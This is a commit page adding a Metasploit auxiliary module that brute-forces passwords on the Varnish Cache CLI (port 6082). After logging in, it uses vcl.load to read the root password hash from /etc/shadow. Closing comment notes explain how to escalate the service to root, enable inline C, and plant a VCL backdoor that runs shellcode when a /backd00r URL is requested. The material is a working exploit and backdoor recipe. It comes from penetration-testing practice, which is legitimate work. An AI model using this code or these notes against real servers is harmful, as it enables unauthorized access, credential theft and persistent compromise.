Skip to content

Commit 774d363

Browse files
committed
direct copy
1 parent 4596785 commit 774d363

File tree

1 file changed

+167
-0
lines changed

1 file changed

+167
-0
lines changed
Lines changed: 167 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,167 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
10+
include Msf::Exploit::Remote::Tcp
11+
include Msf::Auxiliary::Report
12+
include Msf::Auxiliary::AuthBrute
13+
include Msf::Auxiliary::Scanner
14+
15+
def initialize
16+
super(
17+
'Name' => 'Varnish Cache CLI Interface Bruteforce Utility',
18+
'Description' => 'This module attempts to login to the Varnish Cache (varnishd) CLI instance using a bruteforce
19+
list of passwords. This module will also attempt to read the /etc/shadow root password hash
20+
if a valid password is found. It is possible to execute code as root with a valid password,
21+
however this is not yet implemented in this module.',
22+
'References' =>
23+
[
24+
[ 'OSVDB', '67670' ],
25+
[ 'CVE', '2009-2936' ],
26+
# General
27+
[ 'URL', 'https://www.varnish-cache.org/trac/wiki/CLI' ],
28+
[ 'CVE', '1999-0502'] # Weak password
29+
],
30+
'Author' => [ 'patrick' ],
31+
'License' => MSF_LICENSE
32+
)
33+
34+
register_options(
35+
[
36+
Opt::RPORT(6082),
37+
OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line",
38+
File.join(Msf::Config.data_directory, "wordlists", "unix_passwords.txt") ]),
39+
], self.class)
40+
41+
deregister_options('USERNAME', 'USER_FILE', 'USERPASS_FILE', 'USER_AS_PASS', 'DB_ALL_CREDS', 'DB_ALL_USERS')
42+
end
43+
44+
def run_host(ip)
45+
connect
46+
res = sock.get_once(-1,3) # detect banner
47+
if (res =~ /107 \d+\s\s\s\s\s\s\n(\w+)\n\nAuthentication required./) # 107 auth
48+
vprint_status("Varnishd CLI detected - authentication required.")
49+
each_user_pass { |user, pass|
50+
sock.put("auth #{Rex::Text.rand_text_alphanumeric(3)}\n") # Cause a login fail.
51+
res = sock.get_once(-1,3) # grab challenge
52+
if (res =~ /107 \d+\s\s\s\s\s\s\n(\w+)\n\nAuthentication required./) # 107 auth
53+
challenge = $1
54+
secret = pass + "\n" # newline is needed
55+
response = challenge + "\n" + secret + challenge + "\n"
56+
response = Digest::SHA256.hexdigest(response)
57+
sock.put("auth #{response}\n")
58+
res = sock.get_once(-1,3)
59+
if (res =~ /107 \d+/) # 107 auth
60+
vprint_status("FAILED: #{secret}")
61+
elsif (res =~ /200 \d+/) # 200 ok
62+
print_good("GOOD: #{secret}")
63+
64+
report_auth_info(
65+
:host => rhost,
66+
:port => rport,
67+
:sname => ('varnishd'),
68+
:pass => pass,
69+
:proof => "#{res}",
70+
:source_type => "user_supplied",
71+
:active => true
72+
)
73+
74+
sock.put("vcl.load #{Rex::Text.rand_text_alphanumeric(3)} /etc/shadow\n") # only returns 1 line of any target file.
75+
res = sock.get_once(-1,3)
76+
if (res =~ /root:([\D\S]+):/) # lazy.
77+
if ($1[0] == "!")
78+
vprint_error("/etc/shadow root uid is disabled.\n")
79+
else
80+
print_good("/etc/shadow root enabled:\nroot:#{$1}:")
81+
end
82+
else
83+
vprint_error("Unable to read /etc/shadow?:\n#{res}\n")
84+
end
85+
86+
break
87+
else
88+
vprint_error("Unknown response:\n#{res}\n")
89+
end
90+
end
91+
}
92+
elsif (res =~ /Varnish Cache CLI 1.0/)
93+
print_good("Varnishd CLI does not require authentication!")
94+
else
95+
vprint_error("Unknown response:\n#{res}\n")
96+
end
97+
disconnect
98+
end
99+
end
100+
101+
=begin
102+
103+
aushack notes:
104+
105+
- varnishd typically runs as root, forked as unpriv.
106+
- 'param.show' lists configurable options.
107+
- 'cli_timeout' is 60 seconds. param.set cli_timeout 99999 (?) if we want to inject payload into a client thread and avoid being killed.
108+
- 'user' is nobody. param.set user root (may have to stop/start the child to activate)
109+
- 'group' is nogroup. param.set group root (may have to stop/start the child to activate)
110+
- (unless varnishd is launched with -r user,group (read-only) implemented in v4, which may make priv esc fail).
111+
- vcc_unsafe_path is on. used to 'import ../../../../file' etc.
112+
- vcc_allow_inline_c is off. param.set vcc_allow_inline_c on to enable code execution.
113+
- code execution notes:
114+
115+
* quotes must be escaped \"
116+
* \n is a newline
117+
* C{ }C denotes raw C code.
118+
* e.g. C{ unsigned char shellcode[] = \"\xcc\"; }C
119+
* #import <stdio.h> etc must be "newline", i.e. C{ \n#include <stdlib.h>\n dosomething(); }C (without 2x \n, include statement will not interpret correctly).
120+
* C{ asm(\"int3\"); }C can be used for inline assembly / shellcode.
121+
* varnishd has it's own 'vcl' syntax. can't seem to inject C randomly - must fit VCL logic.
122+
* example trigger for backdoor:
123+
124+
VCL server:
125+
vcl.inline foo "vcl 4.0;\nbackend b { . host = \"127.0.0.1\"; } sub vcl_recv { if (req.url ~ \"^/backd00r\") { C{ asm(\"int3\"); }C } } \n"
126+
vcl.use foo
127+
start
128+
129+
Attacker:
130+
telnet target 80
131+
GET /backd00r HTTP/1.1
132+
Host: 127.0.0.1
133+
134+
(... wait for child to execute debug trap INT3 / shellcode).
135+
136+
CLI protocol notes from website:
137+
138+
The CLI protocol used on the management/telnet interface is a strict request/response protocol, there are no unsolicited transmissions from the responding end.
139+
140+
Requests are whitespace separated tokens terminated by a newline (NL) character.
141+
142+
Tokens can be quoted with "..." and common backslash escape forms are accepted: (\n), (\r), (\t), (
143+
), (\"), (\%03o) and (\x%02x)
144+
145+
The response consists of a header which can be read as fixed format or ASCII text:
146+
147+
1-3 %03d Response code
148+
4 ' ' Space
149+
5-12 %8d Length of body
150+
13 \n NL character.
151+
Followed by the number of bytes announced by the header.
152+
153+
The Responsecode is numeric shorthand for the nature of the reaction, with the following values currently defined in include/cli.h:
154+
155+
enum cli_status_e {
156+
CLIS_SYNTAX = 100,
157+
CLIS_UNKNOWN = 101,
158+
CLIS_UNIMPL = 102,
159+
CLIS_TOOFEW = 104,
160+
CLIS_TOOMANY = 105,
161+
CLIS_PARAM = 106,
162+
CLIS_OK = 200,
163+
CLIS_CANT = 300,
164+
CLIS_COMMS = 400,
165+
CLIS_CLOSE = 500
166+
};
167+
=end

0 commit comments

Comments
 (0)